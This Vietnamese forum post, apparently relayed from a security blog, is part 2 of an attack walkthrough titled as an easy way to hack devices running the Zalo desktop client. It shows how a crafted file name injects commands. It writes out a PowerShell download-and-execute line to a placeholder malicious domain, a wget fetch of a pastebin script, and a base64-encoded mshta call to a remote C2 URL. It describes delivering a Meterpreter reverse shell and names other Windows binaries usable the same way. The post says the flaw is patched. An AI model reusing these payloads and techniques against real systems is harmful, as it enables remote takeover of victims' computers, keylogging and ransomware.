Hack thiết bị cài Zalo dễ dàng chỉ bằng gửi file - Phần 2

Mơ Hồ

Moderator
24/03/2020
11
15 bài viết
Hack thiết bị cài Zalo dễ dàng chỉ bằng gửi file - Phần 2
Zalo-1080x675.png
Ở bài trước chúng ta đã biết được rằng có thể mở calculator trên máy người nhận sử dụng Zalo bằng cách lợi dụng tên file gửi đi. Tuy nhiên trong Windows tên file vẫn còn một vài giới hạn như là không quá 255 ký tự và không được dùng các ký tự như “/”, “\” “|” “<”, “>”, “:”, “*” và “?”.
Trong bài này chúng ta cùng xem cách mà tác giả vượt qua được phần này để thực thi lệnh từ xa nhé :D

Giải pháp cho vấn đề này đó chính là sử dụng ký tự mã hoá. PowerShell có thể hoạt động tốt với lệnh mã hoá base64 bằng cách sử dụng cờ “-encodedCommand” và nó cũng mở rộng tên file đáng kể, có thể vượt qua giới hạn 255 ký tự. Cách đơn giản nhất để thử là một lệnh tải file xuống:

Mã:
(New-Object System.Net.WebClient).DownloadFile(“http://baddomain.com”,"/path/to/download"); Start-Process ("path/to/download/bad.exe")

Tuy nhiên khi mã hoá lệnh tải xuống này, nó vượt quá độ dài tên tệp mặc định tối đa. Và thay vì sử dụng dòng lệnh ở trên, chúng ta có thể tạo ra một file “.ps1” với các lệnh được mã hoá ký tự lưu trên pastebin.

Mã:
wget https://pastebin.com/raw/WWZRpRiN -OutFile `"C:\Users\$env:username\Documents\Zalo Received Files\test.ps1`"

Và lại một lần nữa điều này yêu cầu chỉ định đường dẫn của tệp sẽ được thực thi nghĩa là giá trị được mã hóa quá dài đối với tên tệp. Chúng ta sẽ phải sáng tạo một chút để biến điều này thành công.

Mục tiêu đầu tiên là mshta.exe. Mshta có thể tải xuống tệp ứng dụng HTML (HTA) từ một máy chủ từ xa và thực thi nó ngay lập tức, trong không gian bộ nhớ của mshta. Thoả mãn các điều kiện:
  • Thực thi file exe của Windows
  • Thực thi trong bộ nhớ (Không cần chỉ định đường dẫn)
  • Dùng URL làm tham số
  • Câu lệnh ngắn: mshta {url}
Nhờ sự ngắn gọn của lệnh mshta cho phép nó nằm gọn trong giới hạn tên tập 255 ký tự và không sử dụng bất cứ ký tự đặc biệt nào.

Mã:
$(powershell.exe -eNco bXNodGEgaHR0cHM6Ly9jMi5pcC5hZGQucmVzL20=)


Nó đã hoạt động. Zalo mở PowerShell để giải mã lệnh mshta và thực hiện tấn công. Chúng ta có thể tải bất cứ loại tệp tin độc hại nào xuống máy nạn nhân như: Keylogger, ransomware. Trong hình dưới đây một Meterpreter reverse shell được tải xuống bởi mshta.
zalo1.png

zalo2.png


Chúng ta có thể đi từ một tin nhắn trò chuyện duy nhất đến việc sở hữu hoàn toàn một chiếc PC chỉ với một tên tệp. Hơn nữa, mshta không phải là trình lưu trữ Windows duy nhất có sẵn, wmic, rundll, regsvr đều có thể được sử dụng theo cách tương tự để thực thi mã từ tên tệp. Ở đây wmic và regsvr được xem như các tiến trình con của Zalo.exe sau khi đã chèn thành công các lệnh vào đối số PowerShell.
z3.png

z4.png


Khi được thông báo về lỗ hổng này Zalo đã rất nhanh chóng tung bản vá lỗ hổng. Người dùng được khuyến cáo nên cập nhật Zalo lên phiên bản mới nhất.
Người dùng Zalo có thể yên tâm và sử dụng bình thường :)



Trích dẫn tham khảo: ThreatSpike Blog
 
Chỉnh sửa lần cuối bởi người điều hành:
Bên trên